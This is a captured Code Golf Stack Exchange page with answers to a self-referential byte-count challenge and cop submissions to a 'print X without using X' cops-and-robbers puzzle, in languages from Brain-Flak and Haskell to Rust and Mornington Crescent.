0x45 Push 0x54 Push 0x59 Push 0x42 Push 0x20 Label _ PrintChr Dup JumpZ S Jump _ Label S End ``` [Answer] # [Brain-Flak](https://github.com/Flakheads/BrainHack), ~~100 BYTES~~ 80 bYTES ``` ((((((()()()))[]{})))((({}){})(((({}){}))<([]([](([][][])([{}]()({{}}))))[])>))) ``` [Try it online!](https://tio.run/##SypKzMzLSEzO/v9fAwI0QVBTMzq2uhZIAQWANBBpwFmaNhrRsSAExCCoqRFdXRsL1FVdXQvSAtSqaQek/v//r@sIAA "Brain-Flak (BrainHack) – Try It Online") Outputs the `bytes` part in reverse title case. Does away with the `(<>)` abuse to pad the stack height and instead reuses those elements to add up to 83 for the final push, as well as contributing to pushing the `80` part. Initially, this pushes `3 8 8 32 32` to the main stack while pushing `8 16 32` to the "third" stack (this is used to produce `80` (`8+16+32,16+32,32`)). Then inside that we push the `bytes` part inside a `< >`. Here we use the stack height (`5`) to get the differences between the elements (`9 5 15 -14`) before finally summing the stack to produce `83` (`S`). [Answer] # [Octave](https://www.gnu.org/software/octave/), 22 bytes ``` disp([50 50 ' bytes']) ``` [Try it online!](https://tio.run/##y08uSSxL/f8/JbO4QCPa1EABiNQVkipLUovVYzX//wcA "Octave – Try It Online") [Answer] # [Retina](https://github.com/m-ender/retina/wiki/The-Language), 15 bytes ``` bytes *>w`..+ ``` This program counts the number of substrings with at least two characters in the string " bytes", and then prints this count and the string itself. [Try it online!](https://tio.run/##K0otycxLNPz/n0shqbIktZhLy648QU9P@/9/AA "Retina – Try It Online") [Answer] # [Haskell](https://www.haskell.org/), 26 bytes ``` main=putStr$"\50\54 bytes" ``` [Try it online!](https://tio.run/##y0gszk7Nyfn/PzcxM8@2oLQkuKRIRSnG1CDG1EQhqbIktVjp/38A "Haskell – Try It Online") --- ### 29 bytes ``` main=putStr$pred<$>"3:!czuft" ``` [Try it online!](https://tio.run/##y0gszk7Nyfn/PzcxM8@2oLQkuKRIpaAoNcVGxU7J2Eoxuao0rUTp/38A "Haskell – Try It Online") [Answer] # Applescript, 15 bytes Yes, I’m going there. ``` 9+6&”bytes” ``` [Answer] # [Poetic](https://mcaweb.matc.edu/winslojr/vicom128/final/tio/index.html), 277 bytes ``` for the A.I. system i did, i tried to put in humans i know i am one of those i am trying human testing for cyber-enabled virtual brains a for-profit company rakes in massive loads of cash educating interns, & then force-feeding things to all the interns until we earn a diploma ``` Outputs `277 bytes`. [Try it online!](https://mcaweb.matc.edu/winslojr/vicom128/final/tio/index.html?LY9BbsMwDATvfsWeeorzhx77DFqiaiISZYhUAr8@kdxeSJC7mMWm2uA74/v@c4ed5lwgiBJvY3kTjvCKoztEsfdCaovgofU1dCqoyqhpIKrxcn28naK/f144m88rjZhwbtxWVtryoD6leaeMrZEMJk3LerSaxBFqOUhPNHqwzeBCZvJk5ErRZl4g28GxB7rwos5N7bZ8zTI6WYHXxByn6vuYNntQzlfbfz@6umS8GExNQaP3kWuh93uj@AE) Poetic is an esolang I made in 2018 for a class project. It's basically brainfuck with word-lengths instead of symbols. This was a fun program to write, although I'm not entirely sure I've fulfilled the "no unnecessary characters" requirement. If my answer needs to be amended, let me know! [Answer] # [MATL](https://github.com/lmendo/MATL), 13 bytes ``` '57$f}xiw'4-c ``` [Try it online!](https://tio.run/##y00syfn/X93UXCWttiKzXN1EN/n/fwA "MATL – Try It Online") This pushes the string '57$f}xiw' and subtracts `4`, to get `13 bytes`. This is converted to characters using `c`. [Answer] # [Octave](https://www.gnu.org/software/octave/), 23 bytes ``` printf('%i bytes',9+14) ``` [Try it online!](https://tio.run/##y08uSSxL/f@/oCgzryRNQ101UyGpsiS1WF3HUtvQRPP/fwA "Octave – Try It Online") And this: ``` disp(['','67$f}xiw'-4]) ``` [Try it online!](https://tio.run/##y08uSSxL/f8/JbO4QCNaXV1H3cxcJa22IrNcXdckVvP/fwA "Octave – Try It Online") [Answer] # Petit Computer BASIC, 11 bytes ``` ?9+2,"bytes ``` Using a comma in a print statement will move the cursor over to the next multiple of the current tab size. In SmileBASIC, that is 4 by default, so this would output `11 bytes` (2 spaces) but PTC BASIC used 3 instead, so the output has the correct spacing. [Answer] # [APL (Dyalog Unicode)](https://www.dyalog.com/), 12 bytes Full program which implicitly prints to STDOUT. ``` 'bytes',⍨3×4 ``` [Try it online!](https://tio.run/##SyzI0U2pTMzJT///qKM97b96UmVJarG6zqPeFcaHp5uABP@nAQA "APL (Dyalog Unicode) – Try It Online") `,⍨` is appends the string to the result of the multiplication. APL's default display of mixed-type data puts a space between a number and subsequent text. [Answer] # C, ~~33~~ 32 bytes ``` main(){printf("%d bytes",040);} ``` There is a trailing newline, which is not "unnecessary" since the C standard demands it. Try it online [here](https://tio.run/##S9ZNT07@/z83MTNPQ7O6oCgzryRNQ0k1RSGpsiS1WEnHwMRA07qW6/9/AA). Thanks to [NieDzejkob](https://codegolf.stackexchange.com/users/55934/niedzejkob) for golfing 1 byte. Alternative with the same bytecount, thanks to [ErikF](https://codegolf.stackexchange.com/users/79060/erikf): ``` main(){printf("%d bytes",' ');} ``` Try it online [here](https://tio.run/##S9ZNT07@/z83MTNPQ7O6oCgzryRNQ0k1RSGpsiS1WElHXUFd07qW6/9/AA). [Answer] # Java 5 or 6, 44 bytes (full program) ``` enum A{A;{System.out.print(0x2C+" bytes");}} ``` No TIO-link, because Java 5/6 is old.. In Java 5/6 it was possible to have an enum with code instead of the mandatory `main`-method, making it shorter for full program challenges. Also errors with `java.lang.NoSuchMethodError: main\nException in thread "main"` in STDERR after printing to STDOUT, which is fine [according to the meta](https://codegolf.meta.stackexchange.com/questions/4780/should-submissions-be-allowed-to-exit-with-an-error/4781#4781) (but if the challenge would have disallowed additional errors to STDERR, `System.exit(0);` can be added (and the octal numbers has to be updated) to prevent the error. Suggested by *@OlivierGrégoire* (and [his relevant Java tip](https://codegolf.stackexchange.com/a/140181/52210)). # Java 8+, 74 bytes (full program) ``` interface M{static void main(String[]a){System.out.print(0112+" bytes");}} ``` [Try it online.](https://tio.run/##y0osS9TNSsn@/z8zryS1KC0xOVXBt7q4JLEkM1mhLD8zRSE3MTNPI7ikKDMvPTo2UbM6uLK4JDVXL7@0RK8AKFiiYWBoaKStpJBUWZJarKRpXVv7/z8A) # Java 8+, ~~16~~ 15 bytes (lambda function) ``` v->0xF+" bytes" ``` -1 byte thanks to *@OliverGégoire*. [Try it online.](https://tio.run/##LY0xC4MwEIX3/oqHU6Qo3aUdu9VF6FI6nDEtsTGKOUOl@NvTiMLdcO8@3teSp6xtPkEacg430vZ3ALRlNb5IKpTrCVQ8avuGFPdeN/BpEdMlbhzHxFqihMUZwWeX0/d6TFDPrFwSig0aptpEaGf9WtJFl9h6H09Quotmx6rL@4nzIb5Y2FwKOxmT7s4l/AE) [Answer] # [FerNANDo](http://esolangs.org/wiki/FerNANDo), 79 bytes ``` 3 3 1 2 2 0 1 3 3 1 2 2 3 0 1 3 3 2 1 0 2 0 1 3 0 0 1 0 1 0 3 3 1 0 0 3 1 1 1 1 ``` [Try it online!](https://tio.run/##S0stykvMS8n//99YwZjLkMtIwYjLQMFQAcgDkkAeUBTGNwLSBnB5AwUDMN8QyIeoBokAaS5DEP7/HwA "FerNANDo – Try It Online") ]
[Question] [ *This is the cop's thread of a [cops-and-robbers](/questions/tagged/cops-and-robbers "show questions tagged 'cops-and-robbers'") challenge. You can view the robber's thread [here](https://codegolf.stackexchange.com/questions/207560)* A pretty common beginner style question is to print some string, but there's a catch! You need to do it without using any of the characters in the string itself! For this challenge, we will find out who is the best at printing X without X. There are two threads to this, a cop's thread and a robber's thread. In the cop's thread (this thread), users will choose a language (which we will call Y) and a string (which we will call X) and write a program in language Y which takes no input, and outputs exactly X without using any of the characters in X. The cop will then post both X and Y without revealing the program they have written. Robbers will select the cop's answers and write programs in language Y which take no input and output X. They will post these "cracks" as answers in their thread. A crack need only work, not to be the intended solution. Once a cop's answer is one week old, so long as it has not been cracked, the cop may reveal their program and mark it as "safe". Safe answers can no longer be cracked and are eligible for scoring. Cops will be scored by length of X in characters with smaller scores being better. Only safe answers are eligible for scoring. ## Extra Rules You may be as specific or precise in choosing your language as you wish. For example you may say your language is Python, or Python 3, Python 3.9 (pre-release), or even point to a specific implementation. Robber's solutions need only work in one implementation of the given language. So, for example, if you say Python is your language, a robber's crack is not required to work in *all* versions of Python, only one. Since [command line flags](https://codegolf.meta.stackexchange.com/a/14339/56656) and [repls](https://codegolf.meta.stackexchange.com/a/7844/56656) count as different languages, if your language is one of those then you should indicate that as at least a possible option for the language. For ease of use, I ask that you assume there are no command line flags in cases where command line flags are not mentioned. You may choose to have your output as an error. If your intended solution does output as an error, you must indicate this in your answer. ## Find Uncracked Cops ``` <script>site = 'meta.codegolf'; postID = 5686; isAnswer = false; QUESTION_ID = 207558;</script><script src='https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js'></script><script>jQuery(function(){var u='https://api.stackexchange.com/2.2/';if(isAnswer)u+='answers/'+postID+'?order=asc&sort=creation&site='+site+'&filter=!GeEyUcJFJeRCD';else u+='questions/'+postID+'?order=asc&sort=creation&site='+site+'&filter=!GeEyUcJFJO6t)';jQuery.get(u,function(b){function d(s){return jQuery('<textarea>').html(s).text()};function r(l){return new RegExp('<pre class="snippet-code-'+l+'\\b[^>]*><code>([\\s\\S]*?)</code></pre>')};b=b.items[0].body;var j=r('js').exec(b),c=r('css').exec(b),h=r('html').exec(b);if(c!==null)jQuery('head').append(jQuery('<style>').text(d(c[1])));if (h!==null)jQuery('body').append(d(h[1]));if(j!==null)jQuery('body').append(jQuery('<script>').text(d(j[1])))})})</script> ``` [Answer] # Python 3, Score: 81, [Cracked](https://codegolf.stackexchange.com/a/207567/36398) X = `abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'*,./:;<=>?@[]^_`{|}~` Not terribly interesting since it has such a high score, but this should be somewhat difficult to crack... **Clarification:** This is in fact a full Python 3 program, running it locally with `python3 print_x_out.py` produces the above output for me. Likewise, the below verifier script produces no output: ``` with open("print_x_out.py") as file: source = file.read() output = """ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&'*,./:;<=>?@[\]^_`{|}~""" for c in output: if c in source: print(f"Failed verifier check for '{c}'") ``` **Edit:** Well, that was faster than expected... [Answer] # Javascript (Browser), score: 3, [Cracked](https://codegolf.stackexchange.com/a/207575/91569) ``` (\) ``` Simple, but hard. My solution: > > `Function`$${unescape`alert%28"%28%5C%5C%29"%29`}```` > > > [Answer] # Python 3.7, Score: 1 - [Cracked](https://codegolf.stackexchange.com/a/207662) X = `(` Same base rules as [nthistle's challenge](https://codegolf.stackexchange.com/a/207563) above: must be a full script, run with `python3 print_x_out.py`. I believe it's not possible to use [wacky non-ascii substitutes](https://codegolf.stackexchange.com/a/207567) for `(` in a Python 3 script, but I may be wrong (I haven't tried them all). My solution does not use that approach, anyway, and the intention is that yours should not either—now that we've seen it once, there's no fun in taking that as the easy way out for all Python 3 challenges. I know code length is not in the rules, but as we're all golfers here I'd be curious to see how short the solution can get. FWIW mine is 104 characters (97 if we're allowing a trailing newline at the end of the output). [Answer] # [Haskell](https://www.haskell.org/), Score 81, [Cracked](https://codegolf.stackexchange.com/a/207593/56656) ``` " !#$%&()*+/0123456789;>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\\^_`bcdefghjkloqsuvwxyz{}~" ``` This one might be a little difficult. ### Stuff you don't have You don't have newlines or spaces (my intended answer doesn't use *any* whitespace at all, however I can't get it to print some of the funkier whitespace characters so you are free to use them for yourself). You also don't have any of the other ways to apply functions such as `$` or parentheses. You don't have the other line delimiter `;`, so everything has to be on one line (as far as I know). ### Stuff you do have I had to give you the bare minimum of `main=` for a complete program. I've also given you `prt` as extra letters, it shouldn't take much to see that this allows for `print`. You also have an assortment of other symbols available to you, I'll let you figure out how to use them. ``` :,.[|<-]' ``` These are all the characters I've used, there are no unprintables present in my intended solution. However since I can't print the unprintables you are fine to use them. For your reference here are all the functions available using only the permitted characters: ``` (||) (==) (<) (<=) min (-) pi tan atan (=<<) (.) map init (:) print ``` # Even harder Haskell, Score 82, [Cracked](https://codegolf.stackexchange.com/a/207593/56656) ``` " !#$%&()*+/0123456789:;>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\\^_`bcdefghjkloqsuvwxyz{}~" ``` A little while after I posted this I realized I do not *need* `:`, so this version has a `:` in the output as well. I have posted in this answer to prevent clutter from two nearly identical answers, but both should be crack-able separately. [Answer] # Rust, score 3 (safe) `pwx` No `extern` possible this time, so no calling C functions! (or other crates, but that wouldn't be allowed anyways) Pretty challenging to output to stdout without being able to type `print` or `write`! Rust version: `rustc 1.45.1 (c367798cf 2020-07-26)` --- ## Solution The main challenge is printing to stdout. I identified the following methods: * `print!`/`println!` * `std::io::stdout()` and then: + `write!`/`writeln!` (or `std::fmt::Write`) + using the `std::io::Write` trait and calling `.write()` or similar All of these require calling a method or macro whose name is excluded by `p` or `w`. Enter [trait objects](https://doc.rust-lang.org/book/ch17-02-trait-objects.html), Rust's method of having runtime polymorphism. Trait objects are pointers both to some data (like regular pointers) and to a `vtable` which is used to look up the implementation of the trait method when called. So a the code ``` let trait_obj : &mut dyn Write = ...; trait_obj.write(&buf[..]); ``` is transformed to something like this ``` let trait_obj : (&WriteVtable, *mut ()) = ...; (trait_obj.0[WriteVtable::write_index])(trait_obj.1, &buf[..]) ``` Now we obviously still can't directly call `.write` on the `&dyn Write` trait object, but we can instead do the vtable lookup ourselves. This is extremely unsafe, but it works. Now Rust understandably doesn't provide a way to get the index of a trait method in the vtable (wich we probably couldn't do anyways without spelling `write`). This is implementation dependent code, which is why I specified the compiler version. Looking at the [compiler code that generates the vtable](https://github.com/rust-lang/rust/blob/e22b61bff0bdd08be7665607cb7be3748c8a35d2/src/librustc_codegen_ssa/meth.rs#L108), we see that it first contains the `Drop::drop` implementation (needed for owned trait object such as `Box<dyn Trait>`) and then size and alignment. Then come the trait methods in the order specified by the [function `vtable_methods`](https://github.com/rust-lang/rust/blob/76e83339bb619aba206e5590b1e4b813a154b199/src/librustc_trait_selection/traits/mod.rs#L468). We see it first collects methods from supertraits, and then methods from the trait in definition order. Looking at the [trait definition for `std::io::Write`](https://github.com/rust-lang/rust/blob/e22b61bff0bdd08be7665607cb7be3748c8a35d2/src/libstd/io/mod.rs#L1244), we see that it has no supertraits, and `write` is the first method, so its vtable index is 3. This is the final code: ``` use std::io::Write; fn main() { unsafe { let y = std::io::stdout(); let lock = y.lock(); let x : &dyn Write = &lock; let (data,vtable) = std::mem::transmute::<&dyn Write, (*const (), *mut usize)>(x); let z : usize = vtable.offset(3).read(); let fun = std::mem::transmute::<_, fn (*mut (), &[u8]) -> std::io::Result<usize>>(z); let array = [112,119,120]; fun(std::mem::transmute(data), &array[..]); }} ``` [Try it online!](https://tio.run/##dZBBT4QwEIXv/Io5kXZTiawXLSs/wosHQkxdhoQIJWmnZmGzvx2HGoWD9jTpe/O@yXPB07IEj@Cp0bobtX51HWGRtBYG01kh4QrBetMiXBPg1yPBBM/bAg9jICGLX7kfzx/smLJ12AsX0JA2k4UIYUu6OjZdNIaM@iTz3qP8YQw4aE3OWD8EQq1PW4ICcTiP1vOmVHBgHYLvZpSluOywM2PjP0d@h2dj23ok8SAzh6bZ39gG@y/5TQH3IiJoJaZVeKwl3JVbGy/oQ0@niCtLMe@SjXNmba7K86PK8yeVH@/rIok6U8UfzFjICoq7VZbVnHe7JcvyBQ "Rust – Try It Online") [Answer] # [Mornington Crescent](https://github.com/padarom/esoterpret), Score: 4, [Cracked](https://codegolf.stackexchange.com/a/208937/) X = `myHp` You may have survived the 7UBES, but the real challenge begins now. Face me in battle! First, allow me to rid us of some distractions. Four lines are closed. Over half of the special stations are unavailable. In spite of this ruin, victory remains possible. Even for the likes of you, but it won't come easily... I'll be impressed if you can cut even the tiniest bit of my Hp. --- Consider the language again to be defined by the linked interpreter, also available on TIO. --- The main challenge here was the fact that your only arithmetic operation is division, so there is no way to get the character codes by only using arithmetic operations. My solution is below is quite a bit shorter than the crack (7410 bytes after removing comments), but uses the same basic idea: first divide the character codes of some lowercase letters by 2 to get the character codes of the symbols `'1'` `'2'` `'7'` `'9'` `'0'`. Then, copy and concatenate these symbols to get strings `'109'` `'121'` `'72'` `'112'`. Parsing these strings to integers at Parsons green gives the character codes for `m` `y` `H` `p`, which can then be concatenated to get the result. A simple trick, but quite a piece of work to implement. In hindsight, I was lucky that I only needed 5 different number symbols and all symbols could be found on position -7 in some available station name. ``` # "myHp" 7 and division is enough to create 2. #7 can also be used to get the lower case characters: # 2 == ord('A')//ord(' '); Goodge# Street, 7 [District] #'1' == chr(ord('c')//2); Be#contree, 7 [District] #'2' == chr(ord('e')//2); Gloucest#er Road, 7 [District] #'7' == chr(ord('o')//2); B#ow Road, 7 [District] #'9' == chr(ord('s')//2); Baron#s Court, 7 [District] #'0' == chr(ord('a')//2); W#aterloo, 7 [Northern] ###print "myHP" without using those characters ##Plan: get 2 #get 65 Take Northern Line to Bank Take District Line to Acton Town Take District Line to Bank Take District Line to Bank Take Northern Line to Charing Cross Take Northern Line to Charing Cross #ACC: 65 #put 65 at Cannon Street Take Northern Line to Bank Take Northern Line to Bank Take District Line to Cannon Street #get 32 Take District Line to Sloane Square Take District Line to Mile End Take District Line to Victoria Take Victoria Line to Seven Sisters Take Victoria Line to Victoria Take Victoria Line to Victoria Take District Line to Mile End #ACC: ' ...', End: 7 Take District Line to Bank Take District Line to Bank Take Northern Line to Charing Cross Take Northern Line to Charing Cross #ACC: 32 # 65//32 == 2 Take Northern Line to Bank Take Northern Line to Bank Take District Line to Cannon Street #ACC: 2, CS: 32 Take District Line to Southfields #Sof: 2 Take District Line to Cannon Street #CS: str ##Plan: get '1' #get 99 Take District Line to Becontree Take District Line to Mile End #ACC: 'c...', End: str Take District Line to Bank Take District Line to Bank Take Northern Line to Charing Cross Take Northern Line to Charing Cross #ACC: 99 #put 99 at CS Take Northern Line to Bank Take Northern Line to Bank Take District Line to Cannon Street #99//2 == 49 Take District Line to Southfields Take District Line to Cannon Street Take District Line to Bank Take District Line to Cannon Street #CS: str Take District Line to Southfields #Sof: 2 Take District Line to Bank Take Northern Line to Charing Cross Take Northern Line to Charing Cross #ACC: '1' Take Northern Line to Bank Take Northern Line to Bank Take District Line to Kew Gardens #Ke: '1' ##Plan: get '2' #get 101 Take District Line to Gloucester Road Take District Line to Mile End Take District Line to Victoria Take Victoria Line to Seven Sisters Take Victoria Line to Victoria Take Victoria Line to Victoria Take District Line to Mile End #ACC: 'e...', End: 7 Take District Line to Bank Take District Line to Bank Take Northern Line to Charing Cross Take Northern Line to Charing Cross #ACC: 101 #put 101 at CS Take Northern Line to Bank Take Northern Line to Bank Take District Line to Cannon Street # 101//2 == 50 Take District Line to Southfields Take District Line to Cannon Street Take District Line to Bank Take District Line to Cannon Street #CS: str Take District Line to Southfields #Sof: 2 Take District Line to Bank Take Northern Line to Charing Cross Take Northern Line to Charing Cross #ACC: '2' Take Northern Line to Bank Take Northern Line to Bank Take District Line to Chiswick Park #Chi: '2' ##Plan: get '7' #get 111 Take District Line to Bow Road Take District Line to Mile End Take District Line to Bank Take District Line to Bank Take Northern Line to Charing Cross Take Northern Line to Charing Cross #ACC: 111 #Put 111 at CS Take Northern Line to Bank Take Northern Line to Bank Take District Line to Cannon Street # 111//2 == 55 Take District Line to Southfields Take District Line to Cannon Street Take District Line to Bank Take District Line to Cannon Street #CS: str Take District Line to Southfields #Sof: 2 Take District Line to Bank Take Northern Line to Charing Cross Take Northern Line to Charing Cross #ACC: '7' Take Northern Line to Bank Take Northern Line to Bank Take District Line to Ravenscourt Park #Ra: '7' ##Plan: get '9' #get 115 Take District Line to Barons Court Take District Line to Mile End Take District Line to Victoria Take Victoria Line to Seven Sisters Take Victoria Line to Victoria Take Victoria Line to Victoria Take District Line to Mile End #ACC: 's...', End: 7 Take District Line to Bank Take District Line to Bank Take Northern Line to Charing Cross Take Northern Line to Charing Cross #ACC: 115 #Put 115 at CS Take Northern Line to Bank Take Northern Line to Bank Take District Line to Cannon Street # 115//2 == 57 Take District Line to Southfields Take District Line to Cannon Street Take District Line to Bank Take District Line to Cannon Street #CS: str Take District Line to Southfields #Sof: 2 Take District Line to Bank Take Northern Line to Charing Cross Take Northern Line to Charing Cross #ACC: '9' Take Northern Line to Bank Take Northern Line to Waterloo Take Northern Line to Bank Take District Line to Acton Town #Act: '9' ##Plan: get '0' #get 97 Take District Line to Bank Take District Line to Mile End Take District Line to Bank Take District Line to Bank Take Northern Line to Charing Cross Take Northern Line to Charing Cross #ACC: 97 #Put 97 at CS Take Northern Line to Bank Take Northern Line to Bank Take District Line to Cannon Street # 97//2 == 48 Take District Line to Southfields Take District Line to Cannon Street Take District Line to Bank Take District Line to Cannon Street #CS: str Take District Line to Southfields #Sof: 2 Take District Line to Bank Take Northern Line to Charing Cross Take Northern Line to Charing Cross #ACC: '0' Take Northern Line to Bank Take Northern Line to Bank Take District Line to Earl's Court #Earl: '0' ##Plan: get 1 # 7//2 == 3 Take District Line to Victoria Take Victoria Line to Seven Sisters Take Victoria Line to Victoria Take Victoria Line to Victoria Take District Line to Cannon Street Take District Line to Southfields Take District Line to Cannon Street #ACC: 3, CS: 2 # 3//2 == 1 Take District Line to Bank Take District Line to Cannon Street Take District Line to Bank Take District Line to Cannon Street Take District Line to Bank Take District Line to Cannon Street #ACC: 1, CS: 2 Take District Line to Barking #Ba: 1 ##Plan: make 109 #copy '1' Take District Line to Kew Gardens Take District Line to Paddington #ACC: 'Paddington1', Pad: '1' Take District Line to Mile End Take District Line to Barking Take District Line to Mile End #ACC: '1', End: 1 Take District Line to Kew Gardens #Ke: '1' #concat '109' Take District Line to Earl's Court Take District Line to Paddington #ACC: '10', Pad '0' Take District Line to Paddington #ACC: '010', Pad '10' Take District Line to Acton Town Take District Line to Paddington #ACC: '109', Pad '9' Take District Line to Parsons Green Take District Line to Acton Town #Act: 109 #make 72 Take District Line to Ravenscourt Park Take District Line to Paddington #ACC: '97', Pad '7' Take District Line to Chiswick Park Take District Line to Paddington #ACC: '72', Pad '2' Take District Line to Parsons Green Take District Line to Ravenscourt Park #Ra: 72 ##Plan: make 112 #Grab '2' Take District Line to Parsons Green #ACC: 10 Take District Line to Paddington #ACC: '2' , Pad 10 Take District Line to Barons Court #Ba: '2' #copy '1' Take District Line to Paddington Take District Line to Kew Gardens #Ke: 10 Take District Line to Paddington #ACC: '...1', Pad '1' Take District Line to Kew Gardens Take District Line to Mile End #ACC: 1, End: 10 Take District Line to Bank Take District Line to Mile End #End: str Take District Line to Kew Gardens Take District Line to Mile End #End: '...1' Take District Line to Bank Take District Line to Mile End #ACC: '1', End: 1 Take District Line to Paddington #ACC: '11', Pad '1' Take District Line to Cannon Street Take District Line to Paddington #ACC: '1', Pad int Take District Line to Cannon Street #Can: '1' Take District Line to Paddington #Pad: '11' Take District Line to Barons Court Take District Line to Paddington #ACC: '112', Pad '2' Take District Line to Parsons Green Take District Line to Bank #Ban: 112 #make 121 Take District Line to Cannon Street Take District Line to Paddington Take District Line to Paddington Take District Line to Parsons Green #int to char Take District Line to Bank #Ban: 121 Take Northern Line to Charing Cross Take Northern Line to Charing Cross Take Northern Line to Bank #Ban: 'p' Take Northern Line to Charing Cross Take Northern Line to Charing Cross Take Northern Line to Bank #Ban: 'y' Take District Line to Barons Court #Bar: 'p' Take District Line to Acton Town Take District Line to Bank #Ban: 109 Take District Line to Kew Gardens #Ke: 'y' Take District Line to Ravenscourt Park Take District Line to Bank #Ban: 72 Take Northern Line to Charing Cross Take Northern Line to Charing Cross Take Northern Line to Bank #Ban: 'm' Take Northern Line to Charing Cross Take Northern Line to Charing Cross Take Northern Line to Bank #Ban: 'H' Take District Line to Acton Town #Act: 'm' #Concat 'myHp' Take District Line to Paddington Take District Line to Acton Town Take District Line to Paddington #Pad: 'm' Take District Line to Kew Gardens Take District Line to Paddington Take District Line to Paddington #Pad: 'my' Take District Line to Bank Take District Line to Paddington Take District Line to Paddington #Pad: 'myH' Take District Line to Barons Court Take District Line to Paddington #ACC: 'myHp' Take District Line to Bank Take District Line to Bank Take Northern Line to Mornington Crescent ``` [Version without comments on TIO](https://tio.run/##7VnBTsMwDL3vK3LjxEewMu0AQ9M6wTlKDY1aYuGk9PNHyrRNCNpkTbvByG2VHfsleX6111ckJdWLQXUtCLQAZTabNS@APSCZHEixe6mAGWRTrorJp@lWakNSmL3pRtgAbI21anHoWHswfcuY5JwsOJYQah3g05GiA1jClbK7Sg0BmBaftERuf6VvFSdo8VnIEthMZS3mR/uAJPnWvHs6ZIB3sCDsKiDd4uMI8dV8LL6LvTqsTP4socx0QJQpCFSNQzzcEQ53bBC/9ozvoGZzThmoNujzEisBjSqwFfIsak8sj/9THkkudS1FwZacWgmCdUBlROZF5v0EbMWtJGqBFZlO8nFCpVnS@EVpjgVyYQXyxC3tSsTJSSfFyMjIyB5nPONUXnVr8dnF9s/w4NzLqbAk6T00LXmWbf/t6isxXfkdi93wPJjq3IHTwanAHilIN93N3N5U7yyejZQTjM8oMMiOvAG7QznxeLSPzhgDVIM7RP9XcnCxjJbaTTkPpTpNkCF44kPYQNkOF63jQJ6jARk@RZ/bDmmv3SXnPfxe@EWEv0LDIwwg7x7yoooRg4drV7@Rb7H/5mkJsPvm@QE "Mornington Crescent – Try It Online") ## The cutting room floor As much as I'd like to be able to give an encore, I'm afraid I've exhausted my material. The design-space is a bit limited both due to the fact that Mornington Crescent is a language with a simple description and few commands (unlike, say, Javascript or Perl), as well as the fact that `Take Northern Line to Mornington Crescent` must be present in every valid program. I can't present any challenge that is solvable only by a method different from the solutions given so far. Best I can give you is some strings that I didn't use either because they were too easy (i.e. solvable with ideas already given) or too hard. (i.e. I couldn't think of a method to solve them. Feel free to post these as a challenge here if you do!) I provide the following strings at your own risk, do with them as you please. ## Easy 1. `Spy` leaves open a bit too many arithmetical operators for my taste. 2. `l` shuts down surprisingly many lines with only a single letter, but still leaves many options open. 3. `HypV` is too similar to this challenge, with only a small difference in the startup due to the lack of `Seven Sisters` ## Hard (likely impossible) 1. `SpyH` closes down many pesky operators, but I don't see a way to get a `1` and am stuck without it. 2. `HypVm` is similar to the this challenge, but I don't see how to get a `2` without `Seven Sisters` here. [Answer] # [Python 2](https://docs.python.org/2/), Score: 23, safe ``` "%'*+-./;=_`abehmtvy{} ``` I tried to make this one somewhat difficult. No `exec`, no `import`, and no `print`. *Note: there is no newline in X.* [Verify it online!](https://tio.run/##dZAxT8MwEIV3/4oDVBxDMaJsRRlQ6VCxRCxUAhSS9NJYSmzLvlAixG8PSRpaFrbT0/vu7j3bUGH0bdueQZR4QmhM7SAaVJhBZjYISgMVCHylbU0cUvPJmKqscQS@Tq0zGXp/UJrDSFjZXJXI2BpCSDmcTl75xeWVvL4L4/ckxaKij@brm7PhTNiz0tNGaZnWeY5OOkw2gWCqLHGblL0DKejNAs6HeS0Y2ykqwFjUAafKStvwKfBdygUkHvI5g1zunCLcg4x1F0xN/bLD89LVOnjhdog96/lx09sU9vbwjzlaRUsh9zpT@eiAkxDW3TXrlKaAPzujt9DpXWdzmHgOk9EoGJYdNYY6EqsxZVYkLskInf/l0obQByMget7jkVs83S8elw8nXLRtHO@7j@OAG8/FmPymS/Rv@@IH) --- ## Solution The code is to large too fit here, so try visiting one of these links: *[Try it online!](https://tio.run/##5Ze7DoIwGIV3X8OFJg605WJ5CRPjRpgwotEAaXTw6REoIKXYmOjicSmcXv72@1tOSnm/HoucVdUyLfanPIu2mx3lC3mWpVNcMnlw4u6RkNhNVkq4pHvJiwOJ6VCvZNDLtiSx0Jp1RS1toabWvdJWooLwXt7kuZbi1QIcMhpKyfRFkFE/Op5vIuqCRZGfkJlETVIym4NnirJLKtu6OmJoy1OgSWbLG7cGbypHfd7ZMt@YzNabz49V83qvcvdBROvmOnTV4H/hvPA@JJs9Jkr8Pp0HTRdC0wlEOg/6uxvoODSdD00XQNNBeqYP7ZmBcbdFohPQriKgXUVAu8pAt0akG0K60PZiYnr/gSmgMSm0r5qY2BbE/sOCGPTvoYn51o2uqh4) or [Verify it online!](https://tio.run/##5ZdLb5tAEMfv@ykmrdxlW5ca8CO48qFKcrByqBVVqiVqtWAvNgpmV8tSF1X57Ckv42dQpPbSzQXvDPOf2d8sjDBP5YpF1uPja5i4saSQskTApPCCCXO2oBBEIFcU8DjiicTgsV8IBWvOhIQ48bhgcxrHtSetl5KuuR@EFKEpjMDD8Kr1Db99917/8HH0/Yfr0dVa/kx/P2BUlBnlWj2WiyDSvcT3qdAFdRcaQUEY0qUb5hFUankwgTfFekoQ2gRyBYzTSMNyzXWe4jbgjYcJuDH4QwS@vhGBpKUQoawCS2SerN68LpJIczAvsM1cX2WataEMH@0FT8aTG6KXfhT4VQRcjGCaVeMiiKSGvwoWLSHzZz0bQivG0KoCCaJhpqqgdopxRTlfucKdSyrirc5LJY21SkByfUx3uqu7T1e3N9cXmGSnmDEG0XJ49/mLYSFxL7jGwqXwNaf6mRGnM2uXRodUi4j5xDFqf2n2t2ZxJY59cPvQMhruDQ6sy611sJMyibU1E3GfmfZTG9DIntQgxwub7MUZ@/WOjOxiDoe9GTnTqKOWnO3BrkXLcC4KX5Zx0NSn/oFpNvXNakyeO/dinnNkvZNiTdHWeW1Zt/tU7/4iY@PhakY7x/8Hz4u1TWmefUxK4/@n6ypNN1CazlaRrqv0e1fTWUrT9ZSm6ytNp@TM7Ck9M/sn37Yq0dlKTxVb6aliKz1VarpLFenqlB2lx8spZvdlYNpKYxpKz9VTTLVHkPkyRpCp9N/DU8xnfdH9AQ) or [Generate it 